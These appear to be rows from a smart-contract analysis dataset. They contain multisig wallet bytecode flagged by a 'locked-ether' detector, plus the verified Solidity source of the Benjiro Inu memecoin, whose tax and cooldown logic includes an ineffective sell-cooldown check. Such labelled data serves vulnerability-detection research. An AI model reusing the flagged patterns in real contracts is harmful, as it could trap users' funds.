ffffffffff169060200190929190505050611166565b005b34801561041457600080fd5b506104416004803603602081101561042b57600080fd5b8101908080359060200190929190505050611525565b604051808215151515815260200191505060405180910390f35b34801561046757600080fd5b506104946004803603602081101561047e57600080fd5b810190808035906020019092919050505061160c565b6040518082815260200191505060405180910390f35b3480156104b657600080fd5b506104e3600480360360208110156104cd57600080fd5b81019080803590602001909291905050506116d7565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561056557808201518184015260208101905061054a565b50505050905090810190601f1680156105925780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156105af57600080fd5b506105b86117cc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105fb5780820151818401526020810190506105e0565b505050509050019250505060405180910390f35b34801561061b57600080fd5b5061066a6004803603608081101561063257600080fd5b81019080803590602001909291908035906020019092919080351515906020019092919080351515906020019092919050505061185a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106ad578082015181840152602081019050610692565b505050509050019250505060405180910390f35b3480156106cd57600080fd5b506106fa600480360360208110156106e457600080fd5b81019080803590602001909291905050506119ca565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561073d578082015181840152602081019050610722565b505050509050019250505060405180910390f35b34801561075d57600080fd5b50610766611c06565b6040518082815260200191505060405180910390f35b34801561078857600080fd5b506107b56004803603602081101561079f57600080fd5b8101908080359060200190929190505050611c0c565b005b3480156107c357600080fd5b506107f0600480360360208110156107da57600080fd5b8101908080359060200190929190505050611d98565b005b3480156107fe57600080fd5b506108e26004803603606081101561081557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561085c57600080fd5b82018360208201111561086e57600080fd5b8035906020019184600183028401116401000000008311171561089057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506120c6565b6040518082815260200191505060405180910390f35b34801561090457600080fd5b5061090d6120e5565b6040518082815260200191505060405180910390f35b34801561092f57600080fd5b506109386120ea565b6040518082815260200191505060405180910390f35b34801561095a57600080fd5b506109bd6004803603604081101561097157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120f0565b005b3480156109cb57600080fd5b506109f8600480360360208110156109e257600080fd5b810190808035906020019092919050505061253f565b005b600381815481101515610a0957fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610adb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742077616c6c65742100000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060008090505b600160038054905003811015610d23578273ffffffffffffffffffffffffffffffffffffffff16600382815481101515610c3157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610d16576003600160038054905003815481101515610c8f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600382815481101515610cc957fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d23565b8080600101915050610bfb565b506001600381818054905003915081610d3c9190612b1a565b506003805490506004541115610d5b57610d5a600380549050611c0c565b5b8173ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610f38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f776e657220646964206e6f7420636f6e6669726d210000000000000000000081525060200191505060405180910390fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610fd1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5472616e73616374696f6e20697320657865637574656421000000000000000081525060200191505060405180910390fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b60055481101561115f57838015611113575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806111465750828015611145575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611152576001820191505b80806001019150506110dc565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611209576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742077616c6c65742100000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156112cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4f776e657220697320657869737465642100000000000000000000000000000081525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611372576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f41646472657373206973206e756c6c210000000000000000000000000000000081525060200191505060405180910390fd5b6001600380549050016004546032821115801561138f5750818111155b801561139c575060008114155b80156113a9575060008214155b151561141d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e76616c696420726571756972656d656e742100000000000000000000000081525060200191505060405180910390fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038590806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000905060008090505b6003805490508110156116045760016000858152602001908152602001600020600060038381548110151561156357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115e2576001820191505b6004548214156115f757600192505050611607565b8080600101915050611532565b50505b919050565b600080600090505b6003805490508110156116d15760016000848152602001908152602001600020600060038381548110151561164557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116c4576001820191505b8080600101915050611614565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015490806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117af5780601f10611784576101008083540402835291602001916117af565b820191906000526020600020905b81548152906001019060200180831161179257829003601f168201915b5050505050908060030160009054906101000a900460ff16905084565b6060600380548060200260200160405190810160405280929190818152602001828054801561185057602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611806575b5050505050905090565b60608060055460405190808252806020026020018201604052801561188e5781602001602082028038833980820191505090505b509050600080905060008090505b60055481101561193c578580156118d3575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806119065750848015611905575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561192f5780838381518110151561191a57fe5b90602001906020020181815250506001820191505b808060010191505061189c565b87870360405190808252806020026020018201604052801561196d5781602001602082028038833980820191505090505b5093508790505b868110156119bf57828181518110151561198a57fe5b90602001906020020151848983038151811015156119a457fe5b90602001906020020181815250508080600101915050611974565b505050949350505050565b606080600380549050604051908082528060200260200182016040528015611a015781602001602082028038833980820191505090505b509050600080905060008090505b600380549050811015611b5057600160008681526020019081526020016000206000600383815481101515611a4057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b4357600381815481101515611ac757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383815181101515611b0057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611a0f565b81604051908082528060200260200182016040528015611b7f5781602001602082028038833980820191505090505b509350600090505b81811015611bfe578281815181101515611b9d57fe5b906020019060200201518482815181101515611bb557fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611b87565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611caf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742077616c6c65742100000000000000000000000000000000000000000081525060200191505060405180910390fd5b6003805490508160328211158015611cc75750818111155b8015611cd4575060008114155b8015611ce1575060008214155b1515611d55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e76616c696420726571756972656d656e742100000000000000000000000081525060200191505060405180910390fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b81600073ffffffffffffffffffffffffffffffffffffffff1660008083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611f35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5472616e73616374696f6e206973206e6f74206578697374656421000000000081525060200191505060405180910390fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561200a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4f776e65722068617320636f6e6669726d65642100000000000000000000000081525060200191505060405180910390fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a36120bf8561253f565b5050505050565b60006120d3848484612922565b90506120de81611d98565b9392505050565b603281565b60045481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612193576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742077616c6c65742100000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515612318576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4f776e657220697320657869737465642100000000000000000000000000000081525060200191505060405180910390fd5b60008090505b600380549050811015612402578473ffffffffffffffffffffffffffffffffffffffff1660038281548110151561235157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156123f557836003828154811015156123a857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612402565b808060010191505061231e565b506000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28273ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f4f776e6572206973206e6f74206578697374656421000000000000000000000081525060200191505060405180910390fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156126d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4f776e657220646964206e6f7420636f6e6669726d210000000000000000000081525060200191505060405180910390fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615151561276e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f5472616e73616374696f6e20697320657865637574656421000000000000000081525060200191505060405180910390fd5b61277785611525565b1561291b576000806000878152602001908152602001600020905060018160030160006101000a81548160ff0219169083151502179055506128978160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561288d5780601f106128625761010080835404028352916020019161288d565b820191906000526020600020905b81548152906001019060200180831161287057829003601f168201915b5050505050612af3565b156128ce57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612919565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156129ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f41646472657373206973206e756c6c210000000000000000000000000000000081525060200191505060405180910390fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612a89929190612b46565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b815481835581811115612b4157818360005260206000209182019101612b409190612bc6565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612b8757805160ff1916838001178555612bb5565b82800160010185558215612bb5579182015b82811115612bb4578251825591602001919060010190612b99565b5b509050612bc29190612bc6565b5090565b612be891905b80821115612be4576000816000905550600101612bcc565b5090565b9056fea165627a7a723058206036727df0e6493088b023b6bee890933acd98d1d02e51c14db7effa2b0cd8e80029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,308
0x0f904fbdccd87ae55e8907f151714371276ecfbf
/** *Submitted for verification at Etherscan.io on 2022-03-03 */ /** Benjiro Inu - an ERC20 memecoin https://t.me/BenjiroInu https://benjiroinu.com * TOKENOMICS * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 5,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy * 10% tax on buys and sells * 15% fee on sells within first (1) hour post-launch * Max wallet of 5% of total supply for first (1) hour post-launch * No team tokens, no presale SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BENJIRO is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Benjiro Inu"; //// string public constant symbol = unicode"BENJIRO"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 10; uint public _sellFee = 10; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (1 hours)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 5000000001 * 10**9; // .5% _maxHeldTokens = 50000000000 * 10**9; // 5% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy < 10 && sell < 10 && buy < _buyFee && sell < _sellFee, "Don't be greedy."); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610697578063dcb0e0ad146106c2578063dd62ed3e146106eb578063e8078d9414610728576101ee565b8063a9059cbb14610601578063b2131f7d1461063e578063c3c8cd8014610669578063c9567bf914610680576101ee565b8063715018a6116100d1578063715018a6146105695780638da5cb5b1461058057806394b8d8f2146105ab57806395d89b41146105d6576101ee565b806350901617146104c1578063590f897e146104ea5780636fc3eaec1461051557806370a082311461052c576101ee565b806327f3a72a1161017a5780633bed4355116101495780633bed43551461041757806340b9a54b1461044257806345596e2e1461046d57806349bd5a5e14610496576101ee565b806327f3a72a1461036b578063313ce5671461039657806332d873d8146103c1578063367c5544146103ec576101ee565b80630b78f9c0116101b65780630b78f9c0146102af57806318160ddd146102d85780631940d0201461030357806323b872dd1461032e576101ee565b80630492f055146101f357806306fdde031461021e5780630802d2f614610249578063095ea7b314610272576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861073f565b604051610215919061296c565b60405180910390f35b34801561022a57600080fd5b50610233610745565b6040516102409190612a20565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612aa5565b61077e565b005b34801561027e57600080fd5b5061029960048036038101906102949190612afe565b61087c565b6040516102a69190612b59565b60405180910390f35b3480156102bb57600080fd5b506102d660048036038101906102d19190612b74565b61089a565b005b3480156102e457600080fd5b506102ed6109b3565b6040516102fa919061296c565b60405180910390f35b34801561030f57600080fd5b506103186109c4565b604051610325919061296c565b60405180910390f35b34801561033a57600080fd5b5061035560048036038101906103509190612bb4565b6109ca565b6040516103629190612b59565b60405180910390f35b34801561037757600080fd5b50610380610bbb565b60405161038d919061296c565b60405180910390f35b3480156103a257600080fd5b506103ab610bcb565b6040516103b89190612c23565b60405180910390f35b3480156103cd57600080fd5b506103d6610bd0565b6040516103e3919061296c565b60405180910390f35b3480156103f857600080fd5b50610401610bd6565b60405161040e9190612c5f565b60405180910390f35b34801561042357600080fd5b5061042c610bfc565b6040516104399190612c5f565b60405180910390f35b34801561044e57600080fd5b50610457610c22565b604051610464919061296c565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190612c7a565b610c28565b005b3480156104a257600080fd5b506104ab610d0f565b6040516104b89190612cb6565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e39190612aa5565b610d35565b005b3480156104f657600080fd5b506104ff610e33565b60405161050c919061296c565b60405180910390f35b34801561052157600080fd5b5061052a610e39565b005b34801561053857600080fd5b50610553600480360381019061054e9190612aa5565b610eab565b604051610560919061296c565b60405180910390f35b34801561057557600080fd5b5061057e610ef4565b005b34801561058c57600080fd5b50610595611047565b6040516105a29190612cb6565b60405180910390f35b3480156105b757600080fd5b506105c0611070565b6040516105cd9190612b59565b60405180910390f35b3480156105e257600080fd5b506105eb611083565b6040516105f89190612a20565b60405180910390f35b34801561060d57600080fd5b5061062860048036038101906106239190612afe565b6110bc565b6040516106359190612b59565b60405180910390f35b34801561064a57600080fd5b506106536110da565b604051610660919061296c565b60405180910390f35b34801561067557600080fd5b5061067e6110e0565b005b34801561068c57600080fd5b5061069561115a565b005b3480156106a357600080fd5b506106ac611282565b6040516106b9919061296c565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190612cfd565b6112b4565b005b3480156106f757600080fd5b50610712600480360381019061070d9190612d2a565b611378565b60405161071f919061296c565b6